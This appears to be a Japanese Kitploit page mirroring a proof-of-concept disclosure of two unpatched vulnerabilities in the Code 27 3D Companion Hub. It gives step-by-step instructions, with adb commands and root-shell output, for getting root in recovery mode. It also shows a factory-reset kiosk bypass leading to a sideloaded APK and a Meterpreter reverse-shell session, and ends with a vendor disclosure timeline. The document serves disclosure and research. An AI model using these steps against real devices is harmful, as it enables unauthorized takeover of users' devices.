Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Code-27-Companion-Hub-Exploits — CVE-2026-36027 および CVE-2026-36028 の概念実証 | Kitploit
ツール/GitHubGitHub/redr0nin/code-27-companion-hub-exploits
Androidセキュリティ組み込みシステムセキュリティ特権昇格IoTセキュリティ脆弱性分析エクスプロイトペネトレーションテストハードウェアセキュリティ

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
redr0nin/code-27-companion-hub-exploits

Code-27-Companion-Hub-Exploits

CVE-2026-36027 および CVE-2026-36028 の概念実証

リポジトリを見る
11ヶ月前未レビュー

Code 27 3D Companion Hub の脆弱性 (CVE-2026-36027, CVE-2026-36028)

Code 27 3D Companion Hub は、カスタム AI キャラクター("Codie")をアニメーション 3D コンパニオンとして表示する物理デスクトップデバイスです。ユーザーは任意の 3D モデルをアップロードまたは作成でき、マルチモーダル AI により、キャラクターは周囲を見て、口調やボディランゲージを読み取り、自由な会話を行うことができます。

この記事では、デバイスへの物理的アクセスを必要とする 2 つの脆弱性について説明します。どちらも以下のビルドに対して検証されており、公開時点ではパッチが適用されていません。

Code 27 3D Companion Hub

影響を受けるデバイス / ビルド

項目値
製品Code 27 3D Companion Hub
Companion Hub UI バージョン1.2.0
SoC / ボードRockchip RK3588S (rk3588s_yt921)
OSAndroid 12
ビルド IDSQ3A.220705.003.A1
完全なフィンガープリントrk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
ビルドタイプuserdebug / release-keys

出荷時のファームウェアは userdebug ビルドです(リカバリのバナーと ro.build.display.id で確認できます)。userdebug ビルドでは adb root を使用して adbd を root として再起動できるため、CVE-2026-36027 が存在するための主要な要因となっています。

Companion Hub version screen showing version 1.2.0


CVE-2026-36027 - リカバリでの USB デバッグ (ADB) を介した任意のコード実行

概要

物理的に近接した攻撃者は、Companion Hub を Android リカバリで起動し、root 権限の ADB シェル(uid=0、SELinux コンテキスト u:r:su:s0)を取得できます。デバイスには userdebug ビルドが搭載されているため、adb root で adbd を root として再起動でき、攻撃者はリカバリ環境との読み書き操作、ビルドおよびハードウェアプロパティの列挙、リカバリ機能(サイドロード、fastboot、パーティション操作)へのアクセスが可能になります。

取得したアクセスは、実行中の Android ランタイムではなく、リカバリの ramdisk 内にあります。テストでは、リカバリの Mount /system アクションが失敗し(libfs_mgr が /dev/block/by-name/system を開けなかった)、そのためシステムパーティションはこの経路では直接マウントされず、キオスクや復号化されたユーザーデータを含む起動済みユーザー環境はこのモードでは表示されません。

それでもこれは重要です。リカバリ環境への root アクセスは、永続的なデバイス状態を変更するための基盤となるからです(たとえば、パーティションへの書き込みや細工されたアップデートパッケージの適用など)。これにより、攻撃者が制御するコードが後続の通常起動で実行され、稼働中のデバイスに足場を築く可能性があります。

概念実証

  1. デバイスの電源を切ります。
  2. デバイスが完全にオフになったら、電源ボタンと音量ボタンを同時に押し続け、Android リカバリメニューで起動するまで待ちます。

Android recovery menu with Mount /system highlighted

  1. USB-C ケーブルを Companion Hub に接続し、USB-A 側をコンピュータに接続します。
  2. ボタンを使用して Mount /system に移動し、ハイライトして確定します。失敗するように見えますが、これは想定どおりで、エクスプロイトは依然として機能します。(リカバリログには、libfs_mgr が /dev/block/by-name/system を開けなかったことが示されます。)
  3. コンピュータに ADB がインストールされている状態で、デバイスがリストされていることを確認します。
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193       recovery
  1. デバイスはリカバリモードです。adbd を root コンテキストで再起動します。
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
  1. シェルを開きます - これでデバイス上で root になります。
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
  1. root シェルを使用して、リカバリファイルシステムを列挙し、操作できます。
root@kitploit:~
# ls -la
total 840
drwxrwxrwt  33 root root     1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai!
 1970-01-01 00:00 .
drwxrwxrwt  33 root root     1040 1970-01-01 00:00 ..
drwxr-xr-x   2 root root       40 1970-01-01 00:00 acct
drwxr-xr-x   2 root root       40 1970-01-01 00:00 apex
lrwxrwxrwx   1 root root       11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx   1 root root       50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x   2 root root       40 1970-01-01 00:00 cache
drwxr-xr-x   3 root root        0 1970-01-01 00:00 config
lrwxrwxrwx   1 root root       17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x   2 root root       40 1970-01-01 00:00 data
drwxr-xr-x   2 root root       40 1970-01-01 00:00 data_mirror
drwxr-xr-x   2 root root       40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx   1 root root       12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x  15 root root     1380 1970-01-01 00:00 dev
lrwxrwxrwx   1 root root       11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx   1 root root       16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x---   1 root root      662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x   2 root root       60 1970-01-01 00:00 linkerconfig
drwxr-xr-x  12 root root     4096 1970-01-01 00:00 metadata
drwxr-xr-x   8 root system    160 1970-01-01 00:00 mnt
drwxr-xr-x   2 root root      240 1970-01-01 00:00 odm
drwxr-xr-x   2 root root       60 1970-01-01 00:00 odm_dlkm
-rw-r--r--   1 root root        0 1970-01-01 00:00 odm_file_contexts
-rw-r--r--   1 root root        0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x   2 root root       40 1970-01-01 00:00 oem
drwxr-xr-x   3 root root      260 1970-01-01 00:00 pcba
-rw-r--r--   1 root root    47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r--   1 root root    76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x   2 root root       40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root        0 1970-01-01 00:00 proc
drwxr-xr-x   2 root root       40 1970-01-01 00:00 product
-rw-r--r--   1 root root        0 1970-01-01 00:00 product_file_contexts
-rw-r--r--   1 root root        0 1970-01-01 00:00 product_property_contexts
-rw-r--r--   1 root root    14023 1970-01-01 00:00 prop.default
drwxr-xr-x   3 root root       60 1970-01-01 00:00 res
drwx------   2 root root       40 2026-02-03 06:23 root
drwxr-xr-x   2 root root       60 1970-01-01 00:00 sbin
drwxr-xr-x   2 root root       40 1970-01-01 00:00 sdcard
drwxr-xr-x   2 root root       40 1970-01-01 00:00 second_stage_resources
-rw-r--r--   1 root root   658375 1970-01-01 00:00 sepolicy
drwxr-xr-x   2 root root       40 1970-01-01 00:00 sideload
drwxr-x--x   2 root root       40 1970-01-01 00:00 storage
dr-xr-xr-x  14 root root        0 1970-01-01 00:00 sys
drwxr-xr-x   5 root root      100 1970-01-01 00:00 system
drwxr-xr-x   2 root root       40 1970-01-01 00:00 system_ext
-rw-r--r--   1 root root      177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r--   1 root root     1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x   2 root shell      40 1970-01-01 00:00 tmp
drwxr-xr-x   3 root root       60 1970-01-01 00:00 vendor
drwxr-xr-x   2 root root       60 1970-01-01 00:00 vendor_dlkm
-rw-r--r--   1 root root    25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r--   1 root root     4395 1970-01-01 00:00 vendor_property_contexts

CVE-2026-36028 - ファクトリーリセットによるキオスク制限の回避

概要

リカバリメニューから実行されるファクトリーリセットは、キオスクアプリケーションがインストールされている userdata パーティションを消去します。キオスクはシステムパーティションの一部ではないため、再起動時に復元されず、デバイスは標準の制限なし Android 環境(ランチャー、ウェブブラウザ、ファイルマネージャ、設定、その他のシステムアプリ)で起動します。

この制限なし環境から、攻撃者は開発者オプション / USB デバッグを再度有効にし、任意の APK をサイドロードして実行し、稼働中のオペレーティングシステム上でシェルを取得できます。テストでは、これにより非特権アプリケーションユーザー u0_a79 として実行される meterpreter セッションが生成されました。これは、リカバリ ramdisk ではなく稼働中の起動済み OS に対して実行されるため、CVE-2026-36027 のリカバリモード root シェルとは異なる権限およびデータコンテキストです。この状態で埋め込まれ実行されたコードは、通常のデバイス操作の一部として実行され、攻撃者にデバイスとそのユーザーアクセス可能なファイルシステムの対話型制御を提供します。

概念実証

  1. デバイスの電源を切ります。
  2. デバイスが完全にオフになったら、電源ボタンと音量ボタンを同時に押し続け、Android リカバリメニューで起動するまで待ちます。
  3. Wipe data/factory reset をハイライトし、ワイプを確定します。

Android recovery menu with Wipe data/factory reset highlighted

  1. デバイスが再起動すると、キオスクアプリケーションが存在せず、キオスクモードは開始されません。これは、キオスクアプリケーションがシステムパーティションではなく userdata パーティションにインストールされているためです。リカバリでのファクトリーリセットは userdata を消去し、キオスクアプリケーションを完全に削除します。それらはシステムパーティションに存在しないため、再起動時に復元されず、キオスクは起動に失敗します。
  2. 攻撃者には、ウェブブラウザ、ファイルマネージャ、設定、その他のシステムアプリケーションを含む、制限なし Android 環境が提示されます。ここから、USB デバッグを有効にし、任意の APK をサイドロードして実行できます。この場合、稼働中の OS 上で Meterpreter セッションが得られます。
root@kitploit:~
[*] Sending stage (72424 bytes) to 10.0.0.48
[*] Meterpreter session 2 opened (10.0.0.224:8000 -> 10.0.0.48:58094) at 2026-02-20 19:06:47 -0500

meterpreter > getuid
Server username: u0_a79
meterpreter > cd /
meterpreter > ls
Listing: /
==========

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  acct
040554/r-xr-xr--  480      dir   1969-12-31 19:00:03 -0500  apex
040110/--x--x---  8192     dir   2008-12-31 19:00:00 -0500  bin
000000/---------  0        fif   1969-12-31 19:00:00 -0500  bugreports
040000/---------  4096     dir   1969-12-31 19:00:04 -0500  cache
040554/r-xr-xr--  0        dir   1969-12-31 19:00:00 -0500  config
040554/r-xr-xr--  0        dir   1969-12-31 19:00:00 -0500  d
040110/--x--x---  4096     dir   2026-02-03 01:27:34 -0500  data
040000/---------  120      dir   1969-12-31 19:00:04 -0500  data_mirror
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  debug_ramdisk
040554/r-xr-xr--  1760     dir   2026-02-03 01:27:34 -0500  dev
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  etc
100554/r-xr-xr--  1997584  fil   2008-12-31 19:00:00 -0500  init
100000/---------  463      fil   2008-12-31 19:00:00 -0500  init.environ.rc
040554/r-xr-xr--  240      dir   1969-12-31 19:00:03 -0500  linkerconfig
040000/---------  16384    dir   2008-12-31 19:00:00 -0500  lost+found
040554/r-xr-xr--  4096     dir   1969-12-31 19:00:04 -0500  metadata
040554/r-xr-xr--  360      dir   1969-12-31 19:00:05 -0500  mnt
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  odm
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  odm_dlkm
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  oem
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  postinstall
040554/r-xr-xr--  0        dir   1969-12-31 19:00:02 -0500  proc
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  product
040776/rwxrwxrw-  3452     dir   2026-02-03 01:27:39 -0500  sdcard
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  second_stage_resources
040110/--x--x---  80       dir   1969-12-31 19:00:04 -0500  storage
040554/r-xr-xr--  0        dir   1969-12-31 19:00:02 -0500  sys
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:54 -0500  system
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  system_ext
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:54 -0500  vendor
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  vendor_dlkm

開示のタイムライン

ツールをダウンロード
日付出来事
2026-02-17両方の脆弱性が Code 27 チームに開示され、確認されました。
2026-02-17両方の 0-day 脆弱性が MITRE に報告されました。
2026-02-18Code 27 チームは解決計画について話し合い、追加情報を収集し、修正されると述べました。
2026-06-15MITRE が CVE-2026-36027 および CVE-2026-36028 を割り当てました。
2026-06-15Code 27 に割り当てが通知されました。最初の連絡先がビルドレビューのためにセキュリティチームに情報を転送しました。
2026-06-16Code 27 のセキュリティチームが、再度、完全な技術的詳細を要求しました。
2026-06-17完全な技術的詳細が、再度、セキュリティチームに提供されました。
2026-06-18セキュリティチームから応答はありませんでした。
2026-06-19Code 27 の担当者は、企業は通常セキュリティ問題の解決に90日間与えられると述べ、セキュリティチームはすでに認識していると述べました。担当者は、問題が120日以上前に報告されたことを知らされました。7月1日の開示期限が設定されました。
2026-06-25締め切りと公開の最終警告を確認するために Code 27 のセキュリティに連絡しました。
2026-06-28Code 27 は謝罪し、CVE 識別子と開示期限を確認し、7月1日までに公開アドバイザリとリンクが送信されると述べました。
2026-07-01アドバイザリの状況に関して Code 27 に連絡しましたが、応答はありませんでした。
2026-07-02パッチ未適用の脆弱性の詳細が公開されました。